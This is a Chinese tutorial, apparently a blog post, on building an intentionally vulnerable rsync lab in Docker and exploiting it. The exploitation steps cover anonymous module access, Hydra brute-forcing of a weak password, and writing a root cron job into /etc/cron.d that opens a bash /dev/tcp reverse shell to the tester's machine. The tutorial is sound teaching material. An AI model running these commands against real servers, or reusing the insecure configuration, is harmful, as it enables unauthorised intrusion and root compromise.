渗透测试基础——基于Docker的Rsync服务靶场搭建与原理讲解

从 Docker 一键搭建集成靶场,到未授权访问、弱口令、计划任务提权三大核心脆弱性的分步复现,每一步都附可直接复制的命令,帮你快速打通 "靶场搭建 - 脆弱性识别 - 权限获取变化" 的完整利用流程,无论是新手入门还是红蓝对抗学习前的复盘都能直接复用。

文章目录


前置准备

为了复现 rsync 未授权访问、rsync 弱口令以及通过 rsync 写入计划任务实现提权 等安全问题,本文基于 Docker 搭建 rsync 靶场环境。

实验环境采用 Docker 容器模拟存在安全配置缺陷的 rsync 服务,通过配置匿名访问模块、弱口令认证模块以及可写入计划任务目录,实现多种 rsync 场景复现。

免责声明

温馨提示:本文所有内容仅用于网络安全学习、攻防演练、渗透测试实训,请勿用于未授权的非法测试与攻击行为,请严格遵守《网络安全法》等相关法律法规。


基础环境准备

确保服务器已安装Docker,执行命令检查版本:

bash 复制代码
docker -v

一、配置Docker国内镜像加速(解决拉取超时)

修改Docker配置文件,配置稳定国内加速源:

bash 复制代码
vim /etc/docker/daemon.json

写入以下配置:

json 复制代码
{
  "registry-mirrors": [
    "https://docker.m.daocloud.io",
    "https://dockerproxy.com"
  ]
}

重启Docker生效配置:

bash 复制代码
systemctl restart docker

二、创建靶场工作目录

新建并进入靶场专属目录,统一存放所有配置文件:

bash 复制代码
mkdir -p rsync-vuln && cd rsync-vuln

三、创建靶场核心配置文件

  1. 编写Dockerfile(构建镜像)
bash 复制代码
vim Dockerfile

写入完整镜像构建配置:

bash 复制代码
FROM ubuntu:22.04

ENV DEBIAN_FRONTEND=noninteractive
RUN apt update && apt install -y \
    rsync \
    openssh-server \
    cron \
    net-tools \
    vim \
    curl \
    python3 \
    && rm -rf /var/lib/apt/lists/*

# 解决rsync pid运行异常问题
RUN mkdir -p /run/rsync

# 创建测试场景所需目录
RUN mkdir -p \
    /data/public \
    /data/private \
    /etc/rsync

# 生成未授权访问测试flag文件
RUN echo "flag{rsync_vuln_lab}" > /data/public/flag.txt

# 创建弱口令认证用户
RUN useradd rsyncuser && echo "rsyncuser:123456" | chpasswd

# 导入配置文件
COPY rsyncd.conf /etc/rsyncd.conf
COPY users.passwd /etc/rsync.passwd
RUN chmod 600 /etc/rsync.passwd

# 导入启动脚本并授权
COPY docker-entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh

EXPOSE 873
CMD ["/entrypoint.sh"]
  1. 编写容器启动脚本
bash 复制代码
vim docker-entrypoint.sh

写入脚本内容:

bash 复制代码
#!/bin/bash
# 启动定时任务服务
service cron start
# 前台启动rsync服务
rsync --daemon --no-detach
  1. 编写Rsync核心配置
bash 复制代码
vim rsyncd.conf

写入集成三种测试场景的完整配置:

bash 复制代码
uid = root
gid = root
use chroot = no
max connections = 10
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log

# 1. 未授权访问模块(无认证、可读写)
[public]
path = /data/public
comment = anonymous module
read only = false
list = true
auth users =

# 2. 弱口令认证模块
[private]
path = /data/private
comment = password module
read only = false
list = true
auth users = rsyncuser
secrets file = /etc/rsync.passwd

# 3. Cron计划任务写入提权模块
[cron]
path = /etc/cron.d
read only = false
list = true
  1. 创建弱口令密码文件
bash 复制代码
vim users.passwd

写入账号密码(弱口令:123456):

bash 复制代码
rsyncuser:123456

四、构建镜像并启动靶场

bash 复制代码
# 拉取基础镜像
docker pull ubuntu:22.04

# 构建镜像
docker build -t rsync-vuln .

# 启动靶场容器
docker run -d \
--name rsync-lab \
-p 873:873 \
--privileged \
rsync-vuln

执行后结果如下:

拉取基础镜像:

启动靶场容器:

本次搭建的靶场默认开启三种可直接复现的测试场景,无需额外配置:

  1. 未授权访问:public模块未配置认证用户,read only=false,攻击者可任意读写目录文件、获取flag

  2. 弱口令测试:private模块绑定认证用户rsyncuser,固定弱口令123456,可通过hydra等工具字典尝试登录

  3. 计划任务提权:cron模块映射系统定时任务目录,以root权限运行,可写入测试任务实现权限提升

话不多说,我们直接开始

rsync 未授权访问

Rsync是Linux下⼀款数据备份⼯具,它在同步⽂件的同时,可以保持原来⽂件的权限、时间、软硬链接等附加信息。同时⽀持通过rsync协议、ssh协议进⾏远程⽂件传输。常被⽤于在内⽹进⾏源代码的分发及同步更新,因此使⽤⼈群多为开发⼈员。

其中rsync协议默认监听873端⼝,⽽⼀般开发⼈员安全意识薄弱的情况下,如果⽬标开启了rsync服务,并且没有配置ACL或访问密码,⽽rsync默认是root权限,我们将可以读写⽬标服务器⽂件。

1. 信息收集:探测目标 Rsync 服务

这里我们扫描目标 873 端口,确认 rsync 服务开放:

bash 复制代码
nmap -sV -p 873 -T4 -A 靶机IP

2. 枚举目标所有共享模块

未授权状态下,直接列出服务端全部共享模块(public 为未授权访问模块):

bash 复制代码
rsync 靶机IP::

# nmap命令
nmap -sV --script "rsync-list-modules" -p 873 靶机IP

这里我们可以得到结果:

3. 查看未授权模块内的文件

查看 public 模块下所有文件:

bash 复制代码
rsync --list-only 靶机IP::public

成功访问到了敏感文件:

4. 读取(下载) / 写入(上传)服务端文件

(1)将服务端 public 目录下的 flag.txt 下载到本地当前目录:

bash 复制代码
rsync 靶机IP::public/flag.txt ./

实现结果:

(2)因为该环境 read only = false,支持任意文件上传,验证写入:

bash 复制代码
# 本地创建测试文件
echo "rsync unauthorized test" > local_test.txt

# 上传文件到目标 public 模块
rsync ./local_test.txt 靶机IP::public

# 验证文件是否上传成功,再次列举目录,确认文件已写入服务端
rsync --list-only 靶机IP::public

可以看到成功上传了文件(作为拓展,我们也可以上传自定义测试文件到目标服务器,验证文件写入权限,从而进行远程控制)

至此,我们验证下一章节;


rsync 弱口令

1. 实验前提

  1. 靶场容器正常运行,将文中 <靶机IP> 替换为你的靶机真实地址,873 端口对外开放;
  2. 客户端需安装工具:rsyncnmaphydra(Kali 默认自带;Ubuntu/Debian 执行 apt install hydra -y 安装);
  3. 目标模块:private,环境预设账号:rsyncuser,弱口令:123456

2. 探测服务并枚举共享模块

先确认目标 rsync 服务及 private 认证模块存在

bash 复制代码
# 扫描873端口
nmap -p 873 靶机IP

# 枚举所有共享模块
rsync 靶机IP::

正常输出会看到 private password module

3. 无认证访问测试(验证鉴权生效)

直接访问 private 模块,会触发认证失败,证明该模块必须账号密码登录

bash 复制代码
rsync --list-only 靶机IP::private

报错提示类似:auth failed on module private

可以看到也是需要密码进行验证;

4. 登录后读写文件(验证权限)

依托获取到的账号密码,实现文件上传、下载,和未授权访问利用逻辑一致

bash 复制代码
# 1. 本地新建测试文件(里面是获取到的账号密码)
echo "123456" > pass.txt

# 2. 修改密码文件权限(rsync 硬性要求,必须 600)
chmod 600 pass.txt

# 2. 上传文件到目标 private 模块
rsync --password-file=./pass.txt ./weak_test.txt rsyncuser@靶机IP::private

# 3. 查看上传结果
rsync --password-file=./pass.txt --list-only rsyncuser@靶机IP::private

# 4. 下载服务端文件到本地
rsync --password-file=./pass.txt rsyncuser@靶机IP::private/weak_test.txt ./

得到结果:

5. Hydra 暴力破解弱口令(核心利用)

攻击者在未知密码时,通过字典测试获取用户信息。

场景1:已知用户名(本次实验推荐)

新建密码字典 pwd.txt,写入常见弱口令:

bash 复制代码
vim pwd.txt

字典内容示例:

复制代码
123456
123321
666666
password
admin
root
场景2:未知用户名(批量字典测试账号+密码)

额外新建用户名字典 user.txt,写入常见账号:

bash 复制代码
vim user.txt

内容示例:

复制代码
rsyncuser
admin
root
test
执行字典测试命令
① 已知用户名,只尝试密码(本次实验)
bash 复制代码
hydra -l rsyncuser -P pwd.txt -s 873 靶机IP rsync -vV

参数说明:

  • -l:指定单个用户名
  • -P:加载密码字典
  • rsync:指定协议(默认端口873)
  • -vV:显示详细过程
② 未知用户名,账号+密码
bash 复制代码
hydra -L user.txt -P pwd.txt -s 873 靶机IP rsync -vV

参数说明:-L 加载用户名字典。

查看结果
复制代码
[873][rsync] host: <靶机IP>   login: rsyncuser   password: 123456

成功后会输出如下信息,即可拿到有效账号密码;


rsync 写入计划任务实现权限提升

原理讲解

靶场中 [cron] 模块映射系统 /etc/cron.d 定时任务目录,配置为:

  • uid=rootgid=root:rsync 以 root 权限运行
  • read only = false:允许上传文件
  • 无身份认证,匿名可访问

/etc/cron.d 目录下的文件会被系统 cron 服务定时解析执行。我们可以上传测试定时任务文件,让目标主机定时执行指定命令,以此验证权限提升风险。

前置条件:靶场容器正常运行、目标 873 端口通;本机为 Kali/Linux,自带 rsyncnc

1. 验证 cron 模块可匿名访问

枚举所有共享模块,确认 cron 模块存在:

bash 复制代码
rsync 靶机IP::

输出能看到 cron 模块即为正常。

2. 查看 cron 目录原有文件

bash 复制代码
rsync --list-only 靶机IP::cron

当前目录为空,准备写入测试任务。

3. 本地创建测试定时任务文件(验证执行效果)

先通过简单命令测试定时任务是否生效,排查格式、权限问题。在当前目录新建 task 文件(文件名自定义,不要带特殊字符):

bash 复制代码
vim task

# 写入 **cron 标准格式内容**(重点:`/etc/cron.d` 规则要求**必须指定执行用户**)
* * * * * root echo "rsync cron exploit success" >> /tmp/cron_success.log

作用:每分钟以 root 用户执行,往 /tmp 写入日志

  • 分 时 日 月 周 执行用户 命令
  • * * * * * = 每分钟执行一次,方便快速观察结果。

4. 上传任务文件到目标 cron 目录

直接匿名上传(无需账号密码):

bash 复制代码
rsync ./task 靶机IP::cron

5. 验证文件上传成功

bash 复制代码
rsync --list-only 靶机IP::cron

列表中出现 task,说明写入成功。

6. 进入容器验证任务执行(可选,确认效果)

进入靶场容器:

bash 复制代码
docker exec -it rsync-lab /bin/bash

等待 1~2 分钟,查看生成的日志文件:

bash 复制代码
cat /tmp/cron_success.log

能看到 rsync cron exploit success 内容,代表定时任务正常执行,利用成立。


实战利用:写入定时任务实现远程交互测试(提权核心)

(1)本环节模拟服务端主动发起网络连接,用于学习权限提升后的网络交互逻辑,仅作安全实训使用

bash 复制代码
# Kali开启端口监听(Kali 端)
nc -lvvp 4444

保持该窗口不要关闭,等待靶机主动连接。

(2)本地编写定时交互任务:替换说明:把 你的本机IP 改成你当前 Kali 的公网/同网段 IP。

bash 复制代码
vim shell_task

# 写入以下内容
* * * * * root /bin/bash -i >& /dev/tcp/你的本机IP/4444 0>&1

(3)上传反弹任务到目标 cron 模块

bash 复制代码
rsync ./shell_task 靶机IP::cron

(4)观察连接状态

  1. 等待 1 分钟内(每分钟执行一次任务);
  2. 查看之前 nc 监听窗口,成功收到连接,直接获得 root 权限 Shell
  3. 执行 idwhoami 验证权限:
bash 复制代码
id
whoami

输出 uid=0(root) 即提权成功。

清理测试文件(恢复靶场环境)

通过 rsync 删除远程测试文件

bash 复制代码
# 删除测试任务
rsync --delete ./task 靶机IP::cron
# 删除反弹任务
rsync --delete ./shell_task 靶机IP::cron

总结

至此,你已完成 Rsync 三大高危脆弱性的全流程攻防复现,从靶场环境搭建到提权利用,完整还原了渗透测试中文件传输服务的典型攻击路径。在真实攻防演练与 hVV 场景中,这类配置不当导致的安全缺陷,往往是攻击者突破边界、实现权限提升的关键突破口。

希望通过本次实验,你不仅掌握了漏洞的利用手法,更能理解 "最小权限原则" 在服务配置中的重要性。后续你可以尝试基于本靶场扩展更多利用场景,也可以反向模拟防御侧的加固与检测方案,在攻防对抗中深化对这类漏洞的理解,为后续的渗透测试实战筑牢基础。

相关推荐
MXsoft6182 小时前
**运维监控技术演进:从数据采集到智能运维的****技术提升**
运维
CoreTK芯通康EMC整改2 小时前
PCB 信号回流路径 EMC 失效深度解析:原理、误区与量产级整改方案
网络·经验分享·安全·emc整改案例·emc整改
asdfg12589632 小时前
运营商的路由器到路由器之间是如何传输的
网络·智能路由器
代码中介商2 小时前
HTTP进化史:从1.0到3.0的核心变革
网络·网络协议·http
12点一刻2 小时前
Hermes Agent 与 Superpowers 框架的区别?
运维·服务器
ZStack开发者社区2 小时前
ZSTACK · 答客问 | 什么时候该升级,什么时候再等等
网络·云计算
MXsoft6182 小时前
**混合云统一监控实践:私有云+公有云的一体化运维方案**
运维·网络·数据库
2501_912784082 小时前
Taocarts深度解析:1688自动代采模块的Puppeteer自动化实战
运维·自动化
Dola_Zou2 小时前
边缘智能的“黑暗森林”:工业 AI 模型下沉的资产防护与变现密码
人工智能·安全·自动化·软件工程·软件加密